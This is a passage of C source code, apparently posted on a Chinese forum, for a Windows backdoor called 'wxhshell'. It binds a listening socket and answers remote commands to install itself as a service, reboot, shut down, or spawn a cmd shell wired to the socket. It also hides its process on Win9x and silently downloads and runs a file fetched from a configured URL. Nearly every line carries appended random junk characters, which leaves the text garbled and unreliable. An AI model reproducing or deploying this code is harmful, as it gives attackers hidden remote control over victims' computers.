  // 帮助 DB`$Ru@  
  case '?': { (Pv`L  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); d&|z=%9xl  
    break; heL$2dZ5H  
  } %j'G.*TD  
  // 安装 #2Pr Gz]  
  case 'i': { ,-(T"Ph<  
    if(Install()) id;#{O$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); b96t0w!cs  
    else 7uPZuXHxcu  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); r$GPYyHK  
    break; Z5G]p4  
    } U*3A M_w  
  // 卸载 R:'Ou:Mh  
  case 'r': { )MWUS;O<  
    if(Uninstall()) A%Bgp?B  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); A*8m8Sh$  
    else \3Dk5cSDk+  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <<=e9Lh  
    break; *Y85DEA  
    } CmEpir{}(  
  // 显示 wxhshell 所在路径 ,3Wb4so  
  case 'p': { L*g. 6+2  
    char svExeFile[MAX_PATH]; #l*a~^dhqC  
    strcpy(svExeFile,"\n\r"); .dx 4,|6  
      strcat(svExeFile,ExeFile); %G;0T;0L  
        send(wsh,svExeFile,strlen(svExeFile),0); _wf5%(~b  
    break; j G-  
    } DR:8oo&E  
  // 重启 fdlvn*H  
  case 'b': { D \N \BD  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Bo`Tl1K#  
    if(Boot(REBOOT)) {=3J/)='  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); X'fuF2owd  
    else { -S"5{N73  
    closesocket(wsh); X E|B)Q(  
    ExitThread(0); oZTgN .q  
    } 4k8*E5cx  
    break; <9P4}`%)3  
    } M|\^UF2e  
  // 关机 o#qH2)tb  
  case 'd': { =p <?Hu  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); lVPOYl%  
    if(Boot(SHUTDOWN)) 9G0D3F  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); s\[LpLt  
    else { KZ=u54  
    closesocket(wsh); &V'519vmoZ  
    ExitThread(0); CuH2E>wz  
    } !fY7"E{%%  
    break; <W>++< -  
    } W'a(oI  
  // 获取shell V=pMq?Nr  
  case 's': { TG}d3ZU !  
    CmdShell(wsh); ^+ZgWS^%  
    closesocket(wsh); l DN"atSf  
    ExitThread(0); A)tP()+)  
    break; w|IjQ1{  
  } ! Tx&vtq  
  // 退出 TZ[Zm  
  case 'x': { .it#`Yz;  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); vCw<G6tD  
    CloseIt(wsh); i AdGgK  
    break; X) V7bVW  
    } [4sEVu}  
  // 离开 y$X(S\W  
  case 'q': { !8sgq{x((  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); HPg3`Ul  
    closesocket(wsh); 8S\RN&T$  
    WSACleanup(); u*3NS$vH  
    exit(1); UtnZNdl v  
    break; >M]6uf  
        } :\XI0E  
  } >ys[I0bo  
  } x2co>.i  
7BR8/4gcPu  
  // 提示信息 cHx%Nd\  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); JK]R*!{n  
} ='Q{R*u  
  } n]Zk;%yL  
6i.gyD  
  return; Mp~y0e  
} kH'p\9=  
pY@Y?Jj  
// shell模块句柄 * z'8j  
int CmdShell(SOCKET sock) "wAf. =F  
{ M|q~6oM  
STARTUPINFO si; >I}9LyZt  
ZeroMemory(&si,sizeof(si)); #2RiLht  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; <Mx0\b!  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; [}OgSP9i  
PROCESS_INFORMATION ProcessInfo; )=J5\3O*x  
char cmdline[]="cmd"; ?+~cA^-3T  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); O}Hf62"  
  return 0; fH\X  
} $= B8qZ+  
K=dR%c(  
// 自身启动模式 `0ZZ/] !L  
int StartFromService(void) K*q[(,9  
{ .Da'pOe  
typedef struct Rx7X_A}  
{ V8WFQdXc  
  DWORD ExitStatus; '$G"[ljr  
  DWORD PebBaseAddress; aZ Xmlq  
  DWORD AffinityMask; 20b<68h$:  
  DWORD BasePriority; Fk "Ee&H)(  
  ULONG UniqueProcessId; ~ Vw9  
  ULONG InheritedFromUniqueProcessId; RBwO+J53y  
}   PROCESS_BASIC_INFORMATION; ]}Z4P-"t  
n(1')?"mA  
PROCNTQSIP NtQueryInformationProcess; 08s_v=cF  
lx |5?P  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ,E;;wdIt  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; %c|UmKKi  
:XG;ru%i  
  HANDLE             hProcess; 3*ixlO:qGk  
  PROCESS_BASIC_INFORMATION pbi; QSw<%pcJE@  
sa1h%<   
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); {D`'0Z1"  
  if(NULL == hInst ) return 0; )w h%|  
|&3x#1A  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); P`$!@T0=  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA");  Es5f*P0  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); m/B6[  
N~^yL<O  
  if (!NtQueryInformationProcess) return 0; {2&m`D bm  
2 PqS%`XiS  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); :s={[KBP  
  if(!hProcess) return 0; 9Fo fr  
ke_ [  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; @%/]Q<<q  
j}1zdA  
  CloseHandle(hProcess); mYxyWB  
dq\FBwfe  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 6at1bQ$  
if(hProcess==NULL) return 0; H 3@Z.D  
lg :  
HMODULE hMod; t?c}L7ht  
char procName[255]; Rk6deI]  
unsigned long cbNeeded; Fmyj*)J[Z  
O`G/=/GZ  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); =,y |00l  
80b;I|-T,  
  CloseHandle(hProcess); \1"'E@+  
/E;y,o75  
if(strstr(procName,"services")) return 1; // 以服务启动 h RC  
1Xu?(2;NF  
  return 0; // 注册表启动 XV3C`:b  
} *N'K/36;  
uhyj5u)  
// 主模块 VhL{'w7f  
int StartWxhshell(LPSTR lpCmdLine) A4C+5R  
{ t.T UmJ  
  SOCKET wsl; H}hFFI)#Oo  
BOOL val=TRUE; Y;4!i?el  
  int port=0; ldha|s.*  
  struct sockaddr_in door; pM;vH]|  
&H}r%%|A  
  if(wscfg.ws_autoins) Install(); Wj|alH9<  
gr-9l0u  
port=atoi(lpCmdLine); G!w"{Bk?9  
{8$=[;  
if(port<=0) port=wscfg.ws_port; %nN `|\  
5r~# 0Zf*  
  WSADATA data; v ^[39*8  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; F{06 _T  
{]_uMg#!  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ;~fT,7qBah  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 3@+b }9s8  
  door.sin_family = AF_INET; hu_ ^OlF  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); r{\1wt  
  door.sin_port = htons(port); >r`b_K  
dzLQI}89+k  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { \B F*m"lz  
closesocket(wsl); [B@'kwD\l  
return 1; 'c2W}$q  
} |-sPLU&s%  
S/|,u`g-  
  if(listen(wsl,2) == INVALID_SOCKET) { :B3[:MpL}  
closesocket(wsl); j',W 64  
return 1; Jk@]tAwoM  
} --;@2:lg{  
  Wxhshell(wsl); X%z }VA  
  WSACleanup(); +$4(zP s@  
dS^T$sz.co  
return 0; Vk< LJ S  
infl.  
} )u))n#P  
zp\8_U @  
// 以NT服务方式启动 |,9JNm$  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) #/PAA  
{ DPi_O{W>  
DWORD   status = 0; 5T sUQc  
  DWORD   specificError = 0xfffffff; BA\/YW @  
`:N# 'i  
  serviceStatus.dwServiceType     = SERVICE_WIN32; .MO\uh0N  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; " \I4u{zC  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE;  "KcA  
  serviceStatus.dwWin32ExitCode     = 0; c/c$D;T  
  serviceStatus.dwServiceSpecificExitCode = 0; }Zl&]e  
  serviceStatus.dwCheckPoint       = 0; 21k5I #U  
  serviceStatus.dwWaitHint       = 0; NM ]bgpP  
93t9^9  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); _|h8q-[3  
  if (hServiceStatusHandle==0) return; /mo(_  
s4&^D<  
status = GetLastError(); h-iJlm  
  if (status!=NO_ERROR) rG,5[/l  
{ LYlDc;<A  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; UK9@oCIB  
    serviceStatus.dwCheckPoint       = 0; \fr-<5w79  
    serviceStatus.dwWaitHint       = 0; ^C2\`jLMY  
    serviceStatus.dwWin32ExitCode     = status; gV&z2S~"  
    serviceStatus.dwServiceSpecificExitCode = specificError; +`?Y?L^ J  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Y*mbjyt[?X  
    return; pr%nbl  
  } \u6^Varw  
/}-CvSR  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ^vG8#A}]  
  serviceStatus.dwCheckPoint       = 0; 6e&>rq6C  
  serviceStatus.dwWaitHint       = 0; >0Q|nCx  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ~]ZpA-*@Ut  
} N !TW!  
M Zmb`%BZ  
// 处理NT服务事件,比如:启动、停止 d)~Fmi;  
VOID WINAPI NTServiceHandler(DWORD fdwControl) qI^ /"k*5  
{ <n3!{w3<  
switch(fdwControl) C6rg<tCH  
{ NcY608C  
case SERVICE_CONTROL_STOP: B"%{i-v>**  
  serviceStatus.dwWin32ExitCode = 0; AT5aDEb^^  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; c-.t>r &  
  serviceStatus.dwCheckPoint   = 0; $-[CG7VgX%  
  serviceStatus.dwWaitHint     = 0; 1S@vGq}  
  { JxyB(  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); q^6+!&"  
  } A*W) bZs.  
  return; ve&zcSeb  
case SERVICE_CONTROL_PAUSE: DxJX+.9K9  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; @)SL_9  
  break; zt^48~ry  
case SERVICE_CONTROL_CONTINUE: ~|<m,)!  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; .*elggM  
  break; 2h?uNW(0Q  
case SERVICE_CONTROL_INTERROGATE: eb*#'\~'  
  break; MDF%\Sx  
}; }NsUnbxT  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4H@Wc^K  
} |HZTN"  
W_0>y9?  
// 标准应用程序主函数 :d ~|jS  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) (Vo>e =q  
{ 7Pa@1']  
np~~mdmRK  
// 获取操作系统版本 MxBTX4ES  
OsIsNt=GetOsVer(); N/GQt\tV<  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 41fJ%f` G  
{[+2n]f_G  
  // 从命令行安装 7'OtruJ   
  if(strpbrk(lpCmdLine,"iI")) Install(); I$8" N]/C  
m*mm\wN5  
  // 下载执行文件 |ae97 5  
if(wscfg.ws_downexe) { EM\'GW  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) gzeQ|m2]  
  WinExec(wscfg.ws_filenam,SW_HIDE); >MPr=W%E  
} g[w,!F  
Z}-Vf$O~  
if(!OsIsNt) { - M,7N}z@;  
// 如果时win9x,隐藏进程并且设置为注册表启动 }x&N^Ky3c  
HideProc(); Un6/e/6,  
StartWxhshell(lpCmdLine); Xt#1Qs  
} 5O`dO9g}$  
else Hk|0HL  
  if(StartFromService()) $-On~u0g  
  // 以服务方式启动 F]9nB3:W  
  StartServiceCtrlDispatcher(DispatchTable); Gt wT  
else NH0qVQ@A  
  // 普通方式启动 , lJ  v  
  StartWxhshell(lpCmdLine); F4e:ZExJ  
 TT-h;'nJ  
return 0; ApjOj/  
}
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只看该作者 1 发表于: 2006-10-10
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